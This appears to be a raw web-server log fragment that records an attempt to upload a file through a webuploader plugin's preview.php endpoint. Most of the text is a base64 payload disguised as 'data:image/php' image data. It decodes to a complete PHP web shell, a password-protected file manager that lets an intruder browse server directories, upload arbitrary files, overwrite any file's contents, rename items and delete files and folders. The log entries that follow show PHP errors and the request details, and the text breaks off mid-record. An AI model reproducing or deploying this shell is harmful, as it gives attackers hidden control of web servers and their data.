'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:03+08:00 ] 116.213.36.234 POST 51tianwei.com/source/plugin/iscwo_kaifu/webuploader/0.1.15/server/preview.php [运行时间:0.002584s] [吞吐率:387.00req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'source', 2 => 'plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 